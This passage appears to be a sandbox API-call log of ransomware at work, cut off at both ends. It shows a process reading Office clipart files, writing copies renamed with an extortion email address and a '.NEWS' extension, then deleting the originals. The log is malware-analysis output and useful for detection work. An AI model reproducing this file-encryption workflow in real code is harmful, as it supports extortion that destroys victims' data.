lstrlenW (lpString=".1cd") returned 4 [0176.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0176.092] lstrlenW (lpString=".jpg") returned 4 [0176.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0176.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0176.092] lstrlenW (lpString=".doc") returned 4 [0176.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.092] lstrlenW (lpString=".docx") returned 5 [0176.092] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0176.092] lstrlenW (lpString=".pdf") returned 4 [0176.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.092] lstrlenW (lpString=".xls") returned 4 [0176.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.092] lstrlenW (lpString=".xlsx") returned 5 [0176.092] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0176.092] lstrlenW (lpString=".ppt") returned 4 [0176.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0176.092] lstrlenW (lpString=".zip") returned 4 [0176.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.092] lstrlenW (lpString=".rar") returned 4 [0176.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.092] lstrlenW (lpString=".bz2") returned 4 [0176.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.092] lstrlenW (lpString=".7z") returned 3 [0176.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0176.092] lstrlenW (lpString=".dbf") returned 4 [0176.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0176.092] lstrlenW (lpString=".1cd") returned 4 [0176.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0176.092] lstrlenW (lpString=".jpg") returned 4 [0176.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.093] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.093] lstrlenW (lpString="J0105376.WMF") returned 12 [0176.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0176.107] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4964) returned 1 [0176.107] CloseHandle (hObject=0x474) returned 1 [0176.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220 [0176.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0176.109] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.109] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0176.110] GetLastError () returned 0x0 [0176.110] ReadFile (in: hFile=0x474, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1364, lpOverlapped=0x0) returned 1 [0176.136] WriteFile (in: hFile=0x3ac, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1370, lpOverlapped=0x0) returned 1 [0176.258] ReadFile (in: hFile=0x474, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0176.259] WriteFile (in: hFile=0x3ac, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0176.259] SetEndOfFile (hFile=0x3ac) returned 1 [0176.284] CloseHandle (hObject=0x3ac) returned 1 [0176.284] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.284] SetEndOfFile (hFile=0x474) returned 1 [0176.287] CloseHandle (hObject=0x474) returned 1 [0176.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0176.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0176.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0176.293] lstrlenW (lpString=".doc") returned 4 [0176.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.293] lstrlenW (lpString=".docx") returned 5 [0176.293] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.293] lstrlenW (lpString=".pdf") returned 4 [0176.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.293] lstrlenW (lpString=".xls") returned 4 [0176.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.293] lstrlenW (lpString=".xlsx") returned 5 [0176.293] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.293] lstrlenW (lpString=".ppt") returned 4 [0176.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0176.293] lstrlenW (lpString=".zip") returned 4 [0176.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.293] lstrlenW (lpString=".rar") returned 4 [0176.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.294] lstrlenW (lpString=".bz2") returned 4 [0176.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.294] lstrlenW (lpString=".7z") returned 3 [0176.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0176.294] lstrlenW (lpString=".dbf") returned 4 [0176.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0176.294] lstrlenW (lpString=".1cd") returned 4 [0176.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0176.294] lstrlenW (lpString=".jpg") returned 4 [0176.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0176.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0176.294] lstrlenW (lpString=".doc") returned 4 [0176.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.294] lstrlenW (lpString=".docx") returned 5 [0176.294] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.294] lstrlenW (lpString=".pdf") returned 4 [0176.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.294] lstrlenW (lpString=".xls") returned 4 [0176.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.294] lstrlenW (lpString=".xlsx") returned 5 [0176.294] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.294] lstrlenW (lpString=".ppt") returned 4 [0176.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0176.294] lstrlenW (lpString=".zip") returned 4 [0176.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.294] lstrlenW (lpString=".rar") returned 4 [0176.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.294] lstrlenW (lpString=".bz2") returned 4 [0176.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.294] lstrlenW (lpString=".7z") returned 3 [0176.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0176.295] lstrlenW (lpString=".dbf") returned 4 [0176.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0176.295] lstrlenW (lpString=".1cd") returned 4 [0176.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0176.295] lstrlenW (lpString=".jpg") returned 4 [0176.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.295] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.295] lstrlenW (lpString="J0105380.WMF") returned 12 [0176.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0176.309] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4624) returned 1 [0176.309] CloseHandle (hObject=0x450) returned 1 [0176.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220 [0176.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0176.311] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.311] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0176.312] GetLastError () returned 0x0 [0176.312] ReadFile (in: hFile=0x450, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1210, lpOverlapped=0x0) returned 1 [0176.366] WriteFile (in: hFile=0x3ac, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1220, lpOverlapped=0x0) returned 1 [0176.367] ReadFile (in: hFile=0x450, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0176.367] WriteFile (in: hFile=0x3ac, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0176.367] SetEndOfFile (hFile=0x3ac) returned 1 [0176.368] CloseHandle (hObject=0x3ac) returned 1 [0176.371] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.371] SetEndOfFile (hFile=0x450) returned 1 [0176.375] CloseHandle (hObject=0x450) returned 1 [0176.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0176.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0176.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0176.379] lstrlenW (lpString=".doc") returned 4 [0176.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.379] lstrlenW (lpString=".docx") returned 5 [0176.379] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0176.379] lstrlenW (lpString=".pdf") returned 4 [0176.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.379] lstrlenW (lpString=".xls") returned 4 [0176.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.379] lstrlenW (lpString=".xlsx") returned 5 [0176.379] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0176.379] lstrlenW (lpString=".ppt") returned 4 [0176.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0176.379] lstrlenW (lpString=".zip") returned 4 [0176.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.379] lstrlenW (lpString=".rar") returned 4 [0176.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.379] lstrlenW (lpString=".bz2") returned 4 [0176.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.379] lstrlenW (lpString=".7z") returned 3 [0176.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0176.380] lstrlenW (lpString=".dbf") returned 4 [0176.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0176.380] lstrlenW (lpString=".1cd") returned 4 [0176.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0176.380] lstrlenW (lpString=".jpg") returned 4 [0176.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0176.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0176.380] lstrlenW (lpString=".doc") returned 4 [0176.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.380] lstrlenW (lpString=".docx") returned 5 [0176.380] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0176.380] lstrlenW (lpString=".pdf") returned 4 [0176.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.380] lstrlenW (lpString=".xls") returned 4 [0176.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.380] lstrlenW (lpString=".xlsx") returned 5 [0176.380] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0176.380] lstrlenW (lpString=".ppt") returned 4 [0176.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0176.380] lstrlenW (lpString=".zip") returned 4 [0176.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.380] lstrlenW (lpString=".rar") returned 4 [0176.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.381] lstrlenW (lpString=".bz2") returned 4 [0176.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.381] lstrlenW (lpString=".7z") returned 3 [0176.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0176.381] lstrlenW (lpString=".dbf") returned 4 [0176.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0176.381] lstrlenW (lpString=".1cd") returned 4 [0176.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0176.381] lstrlenW (lpString=".jpg") returned 4 [0176.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.381] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.381] lstrlenW (lpString="J0105390.WMF") returned 12 [0176.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0176.382] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4944) returned 1 [0176.382] CloseHandle (hObject=0x450) returned 1 [0176.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 0x220 [0176.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0176.383] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.383] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0176.383] GetLastError () returned 0x0 [0176.383] ReadFile (in: hFile=0x450, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1350, lpOverlapped=0x0) returned 1 [0176.432] WriteFile (in: hFile=0x514, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1360, lpOverlapped=0x0) returned 1 [0176.433] ReadFile (in: hFile=0x450, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0176.433] WriteFile (in: hFile=0x514, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0176.433] SetEndOfFile (hFile=0x514) returned 1 [0176.434] CloseHandle (hObject=0x514) returned 1 [0176.434] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.434] SetEndOfFile (hFile=0x450) returned 1 [0176.444] CloseHandle (hObject=0x450) returned 1 [0176.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0176.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0176.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0176.611] lstrlenW (lpString=".doc") returned 4 [0176.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.611] lstrlenW (lpString=".docx") returned 5 [0176.611] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0176.611] lstrlenW (lpString=".pdf") returned 4 [0176.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.612] lstrlenW (lpString=".xls") returned 4 [0176.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.612] lstrlenW (lpString=".xlsx") returned 5 [0176.612] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0176.612] lstrlenW (lpString=".ppt") returned 4 [0176.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0176.612] lstrlenW (lpString=".zip") returned 4 [0176.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.612] lstrlenW (lpString=".rar") returned 4 [0176.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.612] lstrlenW (lpString=".bz2") returned 4 [0176.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.612] lstrlenW (lpString=".7z") returned 3 [0176.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0176.612] lstrlenW (lpString=".dbf") returned 4 [0176.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0176.612] lstrlenW (lpString=".1cd") returned 4 [0176.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0176.612] lstrlenW (lpString=".jpg") returned 4 [0176.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0176.612] lstrlenW 